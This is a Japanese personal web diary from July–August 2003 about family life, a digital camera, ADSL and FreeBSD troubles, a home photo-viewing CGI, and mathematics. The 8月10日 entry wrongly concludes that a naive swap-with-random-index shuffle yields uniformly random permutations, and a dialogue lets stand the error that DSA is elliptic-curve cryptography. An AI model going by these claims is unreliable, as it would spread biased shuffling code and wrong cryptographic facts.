それはそうとこれから夏休みも終盤となり、宿題がせっぱ詰まって、子供達の機嫌が悪くなってくるのは困ったものです(^^;。
n! 進法(階乗進法)
円周率の話を書いていて思い出したのですが、実は n! 進法というのを考えることができまして、
1x1! + 2x2! + 3x3! + ... + nxn! = (n+1)! - 1
に注意すると、任意の自然数は、
p1x1! + p2x2! + p3x3! + p4x4! + ... (0 <= pj <= j)
と有限の項で一意に表現できることが容易に証明できます。また、
1/2! + 2/3! + 3/4! + ... + (n-1)/n! = 1 - 1/n!
も成立するので、一般の実数に対しては、j! の逆数項も考える必要があり、さらに無限の項が必要な場合がほとんどですが、やはり展開の存在と一意性は同様に証明できます。そうしますと自然対数の底 e は、
2 + 1/2! + 1/3! + ....
なので n! 進法で展開すると 10.1111111....となるのです(^^;。無理数(超越数)なのに循環小数になるのが面白いですね。
二日前に書いた円周率の部分計算アルゴリズムを私がいま一つ評価できないのは、実質これと同様なことを行っていると感じるからです。即ち展開基数(今回は 16)への依存が非常に強いのです。言い換えると、
画期的な公式を発見した。e を n! 進法で表現したら 10.111111... となったのだ。
と言っても、確かにうそではないのですが、だれも感心しないのと同様な感じがするのです。
ちなみに、上記の e の自明な n! 進法表現を 10 進法表現に変換するアルゴリズムが E.A.Dijkstr 先生により提唱されています。効率は良くないのですが、なかなか楽しいアルゴリズムだったと記憶しております。

2003年8月18日(月)

調子がよくなった USB/RS232C 変換器
調子がよくなかったUSB/RS232C 変換器ですが、いつの間にか FreeBSD のドライバのバグがとれた様で、いんちきクロスを使用しても、信号線の異常等でハングすることもなくなりました。良好です。
写真を印刷する
実は今までデジカメの写真を印刷したことは一度もなかったのですが、昨日は、この前のキャンプの写真のうち何枚かを一緒にいったお友達のおうちに差し上げる、ということで、始めて印刷に挑戦したのです。プリンターはキヤノンの BJ S600 です。
A6 程度の印画紙に印刷しようとしたのですが、分からなかったり、間違いで苦労したこと。
- BJ S600 のおまけについてきた PhotoshopLE で印刷の大きさを調整すると、写真がちっちゃくならず一部が切り取られて印刷される。やりかたがまずいのか(^^;。
- 最初から netpbm でちっちゃくしようとしたが、余りに調整が面倒なので断念(^^;。
- 松下のカメラのおまけソフトでも同様な症状であったが、A4 指定で、紙の左上のちっちゃい部分に印刷(調整可能)、という方法で丁度よい大きさで出てきた。
- 写真の縦横の設定を間違えて一枚無駄にする。
- 写真の裏表を間違えて一枚無駄にする(^^;。
というわけで、どうもプリンター側の紙の大きさの設定と、印刷ソフト側の大きさ設定の論理的な関連がよく分からないので、このあたりをちゃんと勉強しないと、無駄に紙代ばかりの散財となります。そもそもマニュアルを読まないで、闇雲に印刷してみる、というのが性格とはいえ問題が多いのであります。

とにもかくにも、悪戦苦闘いたしまして、やっと 20枚ほどの A6 写真の完成ですが、出来映えはなかなかよろしく、私のような素人には銀塩写真と全く区別がつかないのであります。

2003年8月17日(日)

円周率動向
全然知らなかったのですが、比較的最近(といっても 5年以上前)「円周率の小数第 n 桁目」の 2進(16でも可)表現を、それより前の桁の数値を知らないで直接計算する、と称する方法が発見されたそうなのです。ふむふむ、16 の巾で割り算していくところがキーポイントで、他の割り算の部分は 16の巾に比べれば十分小さいことを利用するのですね。 C で書かれたプログラムはこちらから参照可能の様です。小数第 n 桁目を求めるのに必要なメモリーは実質上無しに等しくなりますし、実行速度もなかなか速いのです。実際 X24 で 40分強動作させることにより、一億桁目から10桁(16進数で 7307D03993)を出力させることができました。
最初のリンクの公式の 16 が 10 だったらもっとよかったのに(^^;。それはともかく、計算方法を分析しますと、著者が主張しているように、前の桁の値には依存しない計算方法なのかも知れませんが、本当の意味の「直接計算」ではなく、以前の桁の内在的性質を使用しているのは明白です。したがって私としましては、良いアルゴリズムであるとは思いますが、特別画期的なアルゴリズムとは考えていません。
16進数表現十億桁から 10桁は 3C33977044。計算時間は X24 で 7時間20分位。

2003年8月16日(土)

むむむっ
最近値崩れが激しいので予想はしていたが不愉快ですな(-_-)。たしかに一番の不満は、絞りもしくはシャッター速度を細かく調整できないことだったのですが、思ったよりマイナーチェンジ。
そうはそうと、いちいち USB に繋ぐのも面倒なので、オプションで無線 LAN 内蔵、またはザウルスみたいに CF ソケットに無線 LAN が挿さるようなデジカメを作ったら結構売れると思うのだが、そんなずぼらなことを考えるのは私だけなのだろうか。

2003年8月15日(金)

敗戦記念日
今日は敗戦記念日。日本は再び侵略戦争への道を歩み始めた、と言ったら、日本国民を動揺させ、日本を危険な国であると世界に吹聴する「非国民」であるとお上から目をつけられることになるのでしょうか。
ここに書いたように、街中にあふれる監視カメラによって、市民への監視が平然と行われています。しかも、デジタル処理のされた監視カメラシステムは、顔貌認識システムの運用を容易にし、やがてすべての国民は四六時中、公的権力によって、あるいは「生活安全条例」の名のもとに召集された『善良な一般市民』による監視の下に、人格を持った人間としての尊厳を奪われていきます。個人のプライバシーは丸裸にされ、それはあたかも「隣組」の復活をも連想させます。このような状態では、今後、言論の自由もだんだん制限される方向に向かうのは必然であると思われます。「アメリカがクシャミをすれば日本が風邪をひく」ご時世の昨今、このようにして戦争体制作りは着実に進み、非戦・反戦の意見を持つ者は「非国民」のレッテルを貼られ、ますます彼への監視は強化されていくでありましょう。憲法１３条に保証されているはずの人権は、人々の脳裏に、はるか古のノスタルジアとして記憶の片隅に追いやられ、すべての日本国民は公的権力への盲従を強いられることになり、息の詰まるような監視社会が再到来することになるのであろうと考えるのは大袈裟でしょうか。
個人的には、監視社会に加担する人たちは、戦争による殺人に等しい罪悪を犯していると思うのであります。
安定した Flets ADSL
↑非常に良好になったようです。おそらく MNIII の初期ファームウエアーにリンクダウンしやすいという欠点があったと推測されます。やっと 12M の時代程度の環境に戻りました。それにしても戻っただけで、なんの利点もないとは(^^;。
ちょっとルーターをリブートしたのでアドレスは変化しています。
やっと分かった ssh 接続不良の謎
実は、たまに会社から自宅へ ssh が通じなくなる場合があって、普通は数時間で通じるようになるのですが、今回は一昨日の夕方から全然だめで、原因が不明だったのです。仕方なく vtund トンネル経由で繋いだりしていたのですが、メールや CVS は evariste.dd.que.ne.jp に ssh 直接接続トンネルを通って実行する仕組なので、運用上非常に困っていたのです。症状としては、
- ごくまれに数時間 ssh の接続が不能となる
- vtund 等、トンネル経由ならばうまく行く
- 会社から自宅のみならず、レンタルサーバーへの ssh もだめ
- 自宅とレンタルサーバーの ssh は大丈夫
- すでに接続完了した ssh は大丈夫
それで、本日偶然自宅 HTTP サーバーにプロキシーなしで接続したら、これが異様におそいのです(^^;。
さすがに、このあたりで DNS の逆引きがらみであると気が付きまして、調査いたしましたところ、社内にあるプリマリー DNS サーバーが停止していたのです。この DNS サーバーは、逆引に対して「その様な逆引きは存在しない」という答えを返すためのみに存在するのですが、その用途以外役に立っていないので、落ちていても案外気が付かないのです。
結論を申しますと、外部の sshd が接続元(会社)のアドレスを逆引きしようとして、タイムアウトになっていたのでした。
＃こんなことがまたあるかも知れないので、自宅サーバーに会社の
＃外向けルータのアドレスのダミー逆引きを返すように設定しました。

2003年8月14日(木)

Linx の No route to host
先日、私が使っている Linux マシンがネットワークに全然繋がらなくなったので、自分の属する LAN のるホストへ ping したのですが、メッセージが No route to host(^^;。
そんな馬鹿な～、と思って調べてみると、単にケーブルが抜けていただけなのですが、ちょっと驚きました。Linux では論理的に経路があっても、物理的に経路がない場合にこんなメッセージがでるのですね。個人的にはあんまり良くないと思う。
やっと落ち着いた ADSL
長らく悩みの種であった、24M ADSL のリンクダウン多発ですが、ファームウエア─をバージョンアップしてから大分減少したようです。例のごとく上の隠しリンクをみると、二日間程度持ったと思われます。実際にはリンクダウンが発生しても、アドレスが変化しない場合があるので、もう少し多く発生していると思われますが、いずれにしてもやっとサーバーとしてまともに運用可能なレベルになったかも知れません。

2003年8月13日(水)

そろそろ FreeBSD-5.X
わたしもそろそろ FreeBSD-5.X へのバージョンアップを真面目に考える時期かもしれません。本当は CardBus 対応以外はあんまり魅力を感じないのすが、いつまでも古いバージョンで運用するわけににも行きません。ただし CardBus が動くようになると、また散財の種が増えるのはは困ったものです(^^;。
意外としぶとい R30
一般への HTTP 公開サーバーとなってから三週間ほど経過して、さらに途中でご家族さまと自分用の写真閲覧システムのサーバになった R30 なのですが、とっても安定しています。といいますか、半年くらい前にクロックダウンしてから、たまに make world 後のリブート以外は働きっぱなしです。夏場が心配だったのですが、つい最近セキュリティー問題がでたので、会社から make world したのですが、これも問題ありませんでした。むむむむっ、安物のくせにパワーダウンさえすれば、サーバー用途としては思ったより優秀なのかも知れません。最大の問題は、今のように調子に乗って写真を撮り続けると、いずれディスクが満たんになる恐れがあることです。その場合バックアップを考慮すると、X24 のディスクも大きくする必要があるので、大変な散財となります。
＃「どうせすぐあきるから」←奧さまの声(^^;。
ちなみに R30 の役割をまとめると、
- メールサーバー。ご家族様ハード biff 装置へのインターフェースも含む
- 自宅用 DNS サーバー
- 公開 HTTP サーバー
- 家族用写真サーバー
- 自分用 mp3 サーバー(今は置いてあるだけ)
- HTTP プロキシーサーバー
- CVS サーバー
というわけでして、万が一壊れてしまうととってもとっても困るのです。
続・不調牛^^;
一時は好調と思われた牛 PC さまですが、最近シャットダウン出来ない場合があるようです。普通は壁紙だけになって固まったり、というパターンが多いと思うのですが、今回の症状は、
シャットダウンを選択・実行してもなんにも変化しない(^^;。
というように、空振りという感じなのです。奥が深いですね～。

2003年8月12日(火)

名古屋公演
これは行くことにしましょう。今年は猫森と大阪・名古屋って、去年とおんなじではないか(^^;。
テレビ到着
奧さまからメールで、おうちにテレビが到着したそうです。新しいテレビの方は５年以上の進歩があり、古いテレビは極悪画像になっていたので、極めて綺麗に見えるそうです。それはそうと、うかつにも大きさ以外全く頭の中になかったので、アナログ BS チューナーが内蔵されていないのに気が付かないで購入してしまいました。NHK BS を見たい場合はビデオ(これは BS 対応)を利用するしかなさそうです。~~そもそもマンションなので BS の電波は共同アンテナから勝手に入ってくるのですが、BS の受信料は払ってないので不平は言えません(^^;。~~
2010年頃にアナログ波が廃止されるそうなので、７年くらい壊れないで欲しいものです。
~~＃NHK 関係者の本ページ閲覧はご遠慮下さい~~(^^;。

2003年8月11日(月)

アイネットディーより請求書

とってもお世話になっているアイネットディーから次年分の請求書がきました。もうすぐ一年なのですね。

お支払期限: 2003年08月31日
ご請求合計: 10,794円
------------------------------- ご明細 --------------------------------
 品名                 課金開始        期間      金額   |備考
-----------------------------------------------------------------------
 Lightプラン          2003年09月01日   1年    10,000円 | evariste.que.ne.jp
 C支払い手数料        --------------  -----      280円 | 
-----------------------------------------------------------------------
 小計                                         10,280円 |
 消費税等                                        514円 |

 合計                                         10,794円 |
-----------------------------------------------------------------------

そか、丁度一年違いなのですね。ちなみに支払いはコンビニ払いで、18時頃に奧さまが入金したところ、18時30分にはアイネットディから受領確認のメールが来ました。いやはや、いつもながら反応が速いですな(^^;。

テレビで散財
おうちのテレビの色ずれがひどくなり、とうとう見るに耐えない状況になりまして、お子さま達の不満も爆発寸前、ということでテレビを買いに行ってきました。わが家の場合、写真のように食器棚にテレビ等を収納しているので、幸か不幸か大きさに制限がありまして、あんまり大きくて高いのは買えないのです。

近くの電気屋さんで調べたところ 25inch のシャープのテレビが大きさが丁度はいる(これしか判断基準がない^^;)、ということで 33,700円の価格で、さらに写真に写っているテレビの引き取り代が 2,700円という散財でありました。明日火曜日配送だそうです。

2003年8月10日(日)

大阪公演
これは行きたいな。ちなみに先行予約とかの申し込み方法はすでに分かっているのですか。葉書が行方不明になってからどうも不安で。
難しい乱数かきまぜの統計評価
とある日記さまで次のような配列かきまぜのコードがあったのです。勝手に (しかも改竄して^^;)引用させていただくと、
```
 -----------------------------------------------------------
 int i;
 /* 簡単のためここで a[i]=i と仮定する */
 for (i=0;i!=n;i++) {
 int j,tmp;

 j=rand(n); /* 0 から (n-1) までの整数値一様乱数 */
 tmp=a[i]; /* a[i] と a[j] を交換 */
 a[i]=a[j];
 a[j]=tmp;
 }
 -----------------------------------------------------------
```
直感的にはは全く問題ないと思われるのですが、上記のコード多数回実行した時の統計的挙動として、
a[i](0<=i<n)の n! 個の並べ替えは平等に現われる。
というのが私の能力不足で綺麗に証明できないのです。 a[i]=a[j] でという代入文で a[i] が乱数的にかき混ぜられるのは分かるのですが、ここで a[j] も変化してしまうので、その副作用を上手に評価できないのです。真面目に考えれば分かるような気もするんですが。
もちろん実用的には全く問題ないのは良くわかるし、私も上記のようなプログラムを書いたことは何回もありまて、実際に乱数的に混ぜられているとは思うのです。ちなみに群論の初歩の初歩で習う有名な定理で、「任意の並べ替えは、交換を何回か行えば実現可能である」というものはあります。
＃求むエレガントな証明(^^;。
↑教えて下さりました方がおりまして、確かに大丈夫そうですね。

2003年8月9日(土)

モカちゃん夏合宿から帰る
実を言いますと、モカ姫は木曜日から二泊三日で藤沢市科学少年団の夏合宿で愛知県(茶臼山・鳳来寺・阿寺・豊橋)に行っていまして、星を見たり、石を集めたりと、とても楽しい三日間になるはずだったのです。ところが、ご存じのように台風が近づいてまいりまして、その影響で昨日の 18 時頃に帰ってきてしまいました。ちょっと可愛そうですが、本人はあんまり気にしていないようで、おみやげも買ってきてくれました。石もあります。

ピッチストーン・流紋岩
薔薇輝石
http://www.宇宙の子供.com/
予想通り FreeBSD のモジラではアクセスできず、Windows の Netscape-7 でもだめ(^^;。
仕方なく IE でやったら、変なダイアログがでてきまして、無視したら、
www.uchuunokodomo.com
という文字が表示されるだけだったのです。この URL でもアクセス出来るのですが、やっぱり上の文字がでるだけ(^^;。いったいこれはなんなのだろう。
＃ちなみに葉書は行方不明。きっと子供がどこかに...。
ADSL を 24M に戻す(^^;
いやはや、12M のモデムでも一日二回程度のリンクダウンがあるので、効果はなさそうです。ファームウエアーをバージョンアップして 24M のモデム復活です(^^;。

2003年8月8日(金)

早くもリンクダウン(^^;
12M にもどしても効果がないのかも知れません。うわさによりますと、24M のモデムの新しいファームウエアーが出たそうなので、そちらで試してみようかな。
↑とりあえず一週間程度は様子をみます。
九州公演
むむむっ、月曜日なのですか。辛いですなぁ(^^;。
ADSL を 12M に戻す^^;
せっかく 24M にした ADSL ですが、速度は速くならないで、リンクダウンばかりが多くなったという、最低の選択でした。そこでうまいこと NTT が 12M のモデム(MNII)を回収に来ないので、元に戻してみたのですが、ちゃんとリンクが確立するのですね～。速度も 24M のモデム(MNIII)と変わりません。これでしばらく様子をみましょう。もし案配がよくって、NTT(というか猫か飛脚かペリカン) が取りに来てしまったら、外見はおんなじなので 24M のを返すことにしましょう(^^;。

2003年8月7日(木)

LUMIX FZ1 on FreeBSD-4.8R

先月の状態では、FreeBSD-4.8R にパッチをあてないと LUMIX FZ1 の USB 接続がうまく動作しなかったのですが、最新の kernel ではちゃんと動作する様になりました。

-------------------------------------------------------------------------------
$ diff scsi_da.c.orig scsi_da.c 
28c28
<  * $FreeBSD: src/sys/cam/scsi/scsi_da.c,v 1.42.2.36 2003/05/17 21:48:30 njl Exp $
---
>  * $FreeBSD: src/sys/cam/scsi/scsi_da.c,v 1.42.2.37 2003/07/29 04:00:34 njl Exp $
1228a1229
>       struct ccb_pathinq cpi;
1276a1278,1287
>       /* Check if the SIM does not want 6 byte commands */
>       xpt_setup_ccb(&cpi.ccb_h, periph->path, /*priority*/1);
>       cpi.ccb_h.func_code = XPT_PATH_INQ;
>       xpt_action((union ccb *)&cpi);
>       if (cpi.ccb_h.status == CAM_REQ_CMP && (cpi.hba_misc & PIM_NO_6_BYTE))
>               softc->quirks |= DA_Q_NO_6_BYTE;
> 
>       /*
>        * RBC devices don't have to support READ(6), only READ(10).
>        */
-------------------------------------------------------------------------------

という感じで、良く分からないのですが、DA_Q_NO_6_BYTE というフラグを自動認識するようになったと思われます。このフラグに関する問題で動作しなかったデバイスはかなり多いので、もしかすると IBM の USB フロッピー等も動作可能になったかも知れません。

数学の基礎の危機
久々のブルバキシリーズで、構造の話を書こうと思ったのですが、その前提知識として 19世紀後半から 20世紀のはじめに大問題となった、数学の基礎の危機に関して書いておきます。
19 世紀の後半の数学といいますと、解析学の基礎が完成したと考えられ、数学者達も例えば、「各点で連続だが全く微分不可能な実関数」等の、一見病理的な現象にも慣れてきて、図形的な直感に頼らずに、論理的な推論のみが信用できるのではないかという共通認識も出来上がってきた時代であると思うのです。したがって、古典的な解析学は一段落で、物理学で電磁気学の基礎が完成し、古典的な物理学が大体完成と思われていたのと同様に、数学の分野でも解析学の基本的な部分は一段落であるという認識があったと思われるのです。
ところがこの時代に、G.Cantor(カントール)が、フーリエ変換に関連して実数の部分集合の「量の多さ」に圧倒され、まったく斬新的な理論である「集合論」を創始したのです。ここでちょっとした注意ですが、「ものの集まり」という概念はギリシア時代からいつでもあったわけで、カントールの集合論が斬新的なのは、ものの集まりを扱ったからではなく、無限の集まり(無限集合)を扱い、無限に順序をつけ、さらに「いくらでも大きな」無限を得る手段を提供したからなのです。
しかしながらこれだけ革新的で、しかも任意の無限を扱う理論が、初期の段階で矛盾を生まない訳がなく、種々のパラドックス(矛盾)が現われることに至ってしまったのです。例えば、
[カントール自身の逆理]
すべての集合からなる集合の濃度は、その巾集合の濃度以上であるはずだが、それは巾集合の濃度増大定理に反する。
[ラッセルの逆理]
自分自身の要素でない集合からなる集合 R = {x | NOT (x in x)} を考えると (R in R) もしくは NOT (R in R) いずれも不合理で矛盾を生ずる。
特にラッセルの逆理は濃度や順序数の概念を使用せず、集合の外延の考えそのものからのみ生じる矛盾なので、その影響は極めて深刻だったのであります。さらに、集合という「単なるものの集まり」から矛盾が生じたのでありますから、一番の基礎と考えられる自然数論さえも矛盾するのではないか、という心配事まで生じてきたのであります。
いずれにしても集合論の矛盾解消と、自然数論が矛盾しないという証明、もしくは確信の必要性が急務になったのであります。
これらを解決する方法として提唱された有名な主張が、
- ブラウエルの直観主義
- ラッセルの論理主義
- ヒルベルトの形式主義
なのですが、~~飽きてきた~~長くなってきたので、続きはこんど～(^^;。
(おまけ)
ブルバキ集合論と位相日本語訳の最初の部分
著作権上ちょっと際どいが、絶版後長期経過しているので資料的な意味で

集合論
位相

2003年8月6日(水)

お笑い楕円曲線
そういえば、楕円曲線の本を普通の円をつぶした楕円の本だと思って買っちゃった人も本当にいるそうで、楕円曲線の悲喜劇のねたはつきないのであります(^^;。
続・ご家族様用写真閲覧システム
家族用といいつつ、自分が会社で眺めるアクセス数が一番多いですな(^^;。

CGI スクリプト言語

現在 CGI で使用している言語は sh と awk だけでして、今のところこれで何とかなっているのですが、今後不便であるとか機能不足であるとか、遅くて仕方がないという問題が出てくる可能性があるのです。いざとなれば C で書いてしまえば良いのですが、やはりちょっと面倒ですし、メンテナンスもつらそうです。

そこでちょっと勉強すれば便利に使えそうな CGI 用の言語をあたっているのですが、次のような感想です。

perl 暗号みたいで好きになれない。分からない(^^;

ruby 初期の頃は割と良かったと思うが最近たこつぼ化の傾向あり。

python おまじないが多そう。

lisp/scheme系入出力と日本語で苦労しそう。

PHP 古典的であるが入出力と日本語の扱いが一番よさそう。

という訳で、HTML を埋め込める便利さもあり、おそまきながら PHP をちょっと真面目にいじってみようかな～、と考えています。データ─ベースと連動させる計画は今のところありません。

2003年8月5日(火)

七夕
何回かこの日記にも書いたかも知れませんが、東北地方では旧暦に合わせて、八月に七夕のお祭りを行います。本当の理由としては、一昔前の七月初旬は、田植え直後の農繁期だったので、その時期を避けて八月に行われるようになったと母から聞いたことがあります。東北地方の七夕といえばもちろん仙台が有名なのですが、私が子供の頃は、福島などでも商店街に七夕飾りが飾られ、ちょっとした夏祭り気分だったのです。
LUMIX FZ1 機能補足
あんまり真面目にマニュアルを読んでいないので、間違っている部分もあるかも知れませんが、シャッター開放の最大時間は、

通常の場合 1/8 秒

スローシンクロモードの場合 1 秒

夜間モードでフラッシュなしの場合 8 秒

で、この範囲の開放と絞りと ISO 感度(これは固定化も可能)の関連で明るさの調整を行うようです。したがって、普通写真、運動写真、人の写真、近接写真等の選択はあるのですが、ユーザーがマニュアルで細かい設定をすることは出来ないようです。
ただしレンズが明るいのと ISO 感度と絞りの調整で、かなり暗くてもフラッシュ無し撮影が可能なのです。ところが、なにをぼけたか松下さん。フラッシュを使う場合でも、真っ暗だと補助ランプとかが点灯しないので、何にも見えなくてフォーカスが合わないのですよ(^^;。真っ暗な場合、懐中電灯でもよいので補助ライトは必須です。フォーカスロックの機能はあるので明るい状態でフォーカスを合わせてしまえば大丈夫です。それから 1/8秒以上レンズを開放すると、手振れ防止は効果がなく、三脚は必須です。通常の場合の最長 1/8秒開放という数値は、常識的な手振れ防止可能な限界なのでしょう。
設計者のポリシーとして、あまり考えないでもレンズの明るさと手振れ防止で、通常の条件で良い写真を撮ることが可能である、ということなのだと思います。

2003年8月4日(月)

ご家族さま写真閲覧システム開発大作戦
おうちのご家族様は、特にコンピューターが得意というわけではなく、例えばデジタルカメラで撮った写真の閲覧の方法を、
USB でカメラを Windows に繋ぐとドライブが見えるので...。ところがオリジナルの画像は、おうちの PC で見るには大きすぎる(1600x1200 pixel)ので...
などと説明しているとお互いに面倒になってしまうのです。むむむっ、これではせっかく買ったデジカメを有効活用出来ないではないか(^^;。
というわけで、おうちの人デジカメ写真閲覧専用の CGI を作りました。

CGI の仕様としては、
- ブラウザで隠し URL(含・パスワード)を開くと、日付のリスト(と概略説明)が出てくる。
- 日付を選択すると、その日付の写真のサムネールのリスト(上の写真)が現れる。
- サムネールをクリックすると、該当の写真が適切な大きさで表示される。
- さらに上の適切な大きさの写真をクリックすると、オリジナルの写真が現れる。
この方式の利点としましては、
- ブラウザで簡単に閲覧可能。
- サーバー(R30^^)でオリジナルの写真をオリジナルサイズで一元管理できる。
- netpbm を使用すれば簡単に実装できる。
- 簡単なシェルを書いておけば、新しい写真が増えた場合の自動管理も簡単である。私はとってもずぼらなので、自動化が出来ないと絶対に長続きしないのです。
などであると思うのです。ただし表示速度を考えて、サムネールだけは事前に作っておくことにしました。例のごとくこの方法はたかたにさんのまねなのですが、いつもの通りとっても役に立つのです。
＃二時間くらいで完成。意外と好評(^^;。

2003年8月3日(日)

キャンプ
昨日の午後から奧さまとモカと茅ヶ崎の海でキャンプ中なのです。ちなみにこの日記は自宅から at(アット)コマンドを利用した自動アップロードです。二女はうるさい親がいないことをいいことに、さぞかしゲーム三昧の生活をしているのでしょうな(^^;。

キャンプから帰宅

というわけで、茅ヶ崎の県立柳島青少年キャンプ場に行ってきました。昨日の１２時３０分に一緒に行くモカの幼稚園時代からのお友達の I さんご家族と合流してキャンプ場へ。テント作りをしてすぐに夕食の準備。夕食はバーベキューを海岸で食べたのですが、サザンビーチ茅ヶ崎の花火大会が良く見える場所でとても美しかったのです。夜のテントの中はとても暑かったです。
今日の朝食はとん汁とごはん(中華粥)だったのですが、大量に余ってしまいました。昨日からつゆも明けたらしく、天気が良かったのは幸いでしたが、暑さもなかなかのものでありました。昼間の１２時頃に帰宅。

テントの調査
組み立て開始(色が変)

底面をひもで結ぶ
完成

海岸でなにか収穫
海

(おまけ)遠方に富士山
(もひとつおまけ)花火

2003年8月2日(土)

調子がよくない USB/RS232C 変換器^^
二ヶ月ほど前に導入した FreeBSD でも使える USB/RS232C 変換ケーブルの USB-RSAQ2 なのですが、ポートをオープンした状態で USB 側を抜いた時に PC がハングアップするのは仕方がないとして、RS232C 側の何らかの信号線の異常でも PC がハングしてしまうのです。最初の頃は起きなかったと思うので、もしかして最近のドライバーが良くないのかも知れません。いまさらげたを使う気にもならないし、最近は組み込みの開発が佳境に入り RS232C なしでは生きていけないので、本当に困っているのです。
＃今思いついたが、お店で買ったインチキクロスを使っているのが
＃良くないのかも。来週ちゃんとしたクロスで試してみよう。

2003年8月1日(金)

お誕生日メッセージ
というわけで宜しくお願いいたします。
「宇宙の子供」を注文
去年の「翼」の例ではイベント券が付いてきたし、フライング(全国的にそうだったらしい^^;)で届いたので、山野楽器にインターネット注文しました。ところで、今年は発売後半月で猫森なのだが、イベントがあるとすれば、その後になるのかな。いずれにしてもこのアルバムは、曲名の並びを見るだけでうれしくなります。
ギブスとれて良かったですね。

2003年7月31日(木)

だめだめ夏休み～(^^;
今年はこれからが忙しさの本番なので、8,9月には夏休みをとれません。それよりも問題は、 10 月の初旬の状況ですね～。仕事の案配は大丈夫なのか。それはそうと、チケット先行予約に関して何の連絡もないということは全部取れたのかな。いずれにしても、今年のようなインターネット受け付けならばやらない方がよいと思う。
検索エンジンへの応答
現在、このページの実体は CGI(sh and awk^^) なのです。それで今後色々なことが可能となると思うのですが、とりあえずあまりに検索はずれが多くて気の毒なので、検索エンジンと思われるユーザーエージェントに対して、有用な応答以外は返さないプログラム作成中なのですが、もう少々時間がかかりそうです。プログラムというより、元記事の分類・整理の方が大変なのです。
＃あたりもそこそこあるので、前から何度も書いたように、
＃テーマ別内部リンク集も作りたいのです。

2003年7月30日(水)

お誕生日メッセージ
まだ全然書いていなかったりします(^^;。今週末位にメールで内容をお送りします。ご迷惑をおかけいたしますが宜しくお願いいたします。

DSA・ブルバキ・東大

昨日とある人が Linux をインストールをするのを元東大化学専攻の人と見ていたのです。すると

ssh-keygen DSA key generated.

という感じのメッセージが出てきたので、私のつっこみ。

かがみ: DSA って知っていますか。

化学専攻氏: 知ってますよ。楕円曲線暗号方式でしょ。

かがみ: およよ、化学のくせに良く知ってますね～。

じゃあ普通の楕円の形でないことも知ってるのですね。

化学専攻氏: 知ってますよ。こーんな形でしょ(おまけ参照)。

かがみ: むむむ、化学の分際で形状まで知っているとは。

複素数の世界ではドーナツの形なのです。

化学専攻氏: それは知らなかった。

かがみ: ふふふ、おそれいったか～。

化学専攻氏: モデュラ─と関係あるのでしょ。

かがみ: どっ、どうしてそんな難しいこと知ってるの(^^;。

化学専攻氏: 友人に聞いたことがある。

かがみ: それって、フェルマ─の大定理の証明の核心ですよ。

化学専攻氏: 谷山予想でしょ。

かがみ: 谷山浩子予想(^^;。

というわけで、なかなか東大先生は知識の幅と奥が深いのであります。そういえば、先日ブルバキを思い出させてくれた H さんも東大出身。例外としか思えない人もいるのですが、さすがに東大さまはただものではない人が多いのです。ちなみに、最後の「谷山予想」は「谷山・志村予想」であり、フェルマ─ の大定理の証明の核心で 1995年にワイルズにより(半安定の場合に)証明されています。今では一般的な場合にも証明されたと聞いたことがあります。もちろん、フェルマ─の大定理の証明の核としても価値よりも、それ自体の価値の方がはるかに大きいのであります。
余談ですが、フェルマ─の大定理の歴史に関しての一般向けの本としては、これがちょっと数学的な記述であやしい部分もありますが、なかなか面白いのです。

(おまけ) 有理数体上の楕円曲線の形状

2003年7月29日(火)

電池購入
という訳で、昨日カメラの予備電池を購入しました。会社の帰りに新宿のビッグカメラで 5,080円なり。ただし、散財の成果であるポイントを使ったので、お財布の中身は淋しくならなくてすんだのです。SD カードが余っていたからいいようなものの、なんにも持っていないと付属品代もばかになりませんね～。
切れなくならない ADSL
ちまたに聞こえるうわさでは、激とろとはいえ、数日で切れなくなった ADSL もあるそうですが、おうちの 24M ADSL は依然として不調なのです。上の隠しリンクのアドレスの変化には、自分で線の引き回しの調整のために切ったのもあるのですが、それを除いても一日に２回程度勝手に切れているようなのです。いまやおうちのデータリンクは http サーバーの土台にまで格上げとなったので、本当に困ったものなのです。
＃必ず10分くらいで自動復旧するのが救いです。

2003年7月28日(月)

LUMIX FZ1 を使ってみて
ご存じのように、私はものを見るということに関して極めて感受性が良くなく、写真を撮ったりするのもとっても下手なのです。それにカメラに関しても全く詳しくなく、普通の人には常識的な言葉や概念も全然分からないのです。そういうことを前提にして、今回購入した LUMIX FZ1 の使用感なのです。
[モカ写真]
まず主目的たるモカの撮影ですが、大体満足しております。もともとが下手なので、昨日の写真程度のものしか撮れませんが、私が撮ったにしては良く撮れていると思いますし、4枚目以外は夕方薄暗くなってからのフラッシュなし撮影で、2枚目と 3枚目はズーム倍率もかなり高いのです。レンズが比較的明るいのと、光学12倍ズーム + 手振れ防止機能の良さが出ていると思います。ちなみに前のデジカメは、一枚撮ると 10秒位撮れなくなった(^^;のですが、今度のは一秒に 4枚も撮れるのですね～。すばらしい進歩です。
[風景写真]
風景写真にはあんまり興味がないのですが、 7月24日の写真の元サイズのものは、会社の写真大好きな A さん(今回色々アドバイスして頂きました)に、綺麗に撮れていると誉めてもらいました。特に小田急の写真は、一般の人が写っているのでオリジナルはアップできませんが、比較的良く撮れたと思います。
[近接写真]
近接写真は、今後何か購入した場合、自慢するためにも非常に重要なのですが、これもなかなかよし。花や虫の写真なども綺麗に撮れました。モカの夏休みの自由研究などにも役に立ちそうです。
[運動会や発表会・ファンの集い]
これはやってみるまで分かりませんね～。もちろん、来年のファンの集いもターゲットです。
という訳で、個人的にはなかなか気に入っているのです。パッチが必要とは言え、FreeBSD で SD カードの内容が読み取れるのも、とっても便利なのです。ただし良くない面もありまして、
[良くない点]
- バッテリーの充電はいちいち取り外して、専用の充電器で行う必要がある。これは不便ですね～。直接 AC アダプターを挿したいところです。実際は、カメラに AC アダプターを挿すことは出来るのですが、充電機能は内蔵されていないのです。さらに...。
- 電池を抜いて 24時間経過すると、時刻等の設定がリセットされる(^^;。
  充電器に入れれば、一時間半で充電できるのですが、カップラーメンじゃあるまいし、そのまま放置するのが普通です。ということは、毎回時刻や設定合わせの必要があるわけで、とても松下さんの考えたインターフェースとは思えない出来の悪さです。
デジカメの機能にはそんなにうるさくない(分からない^^;)ので撮影に関しては満足で、バッテリー回りは不満という感想なのですが、バッテリーは、予備を兼ねてもう一つ買った方が良いかもしれませんな。その方が毎回使いきるので長持ちしそうだし。

2003年7月27日(日)

お祭り
昨日は、奧さまとおばあちゃんとモカと一緒に、辻堂の諏訪神社のお祭りに行ってきました。もちろん写真をたくさんとりたい、という下心があったのですが、モカもさるもの、かなりのモデル料を取られてしまったのです(^^;。バーミヤンで食事して帰宅。

出陣鉄砲で的当て

金魚すくい成果物
好調牛^^;
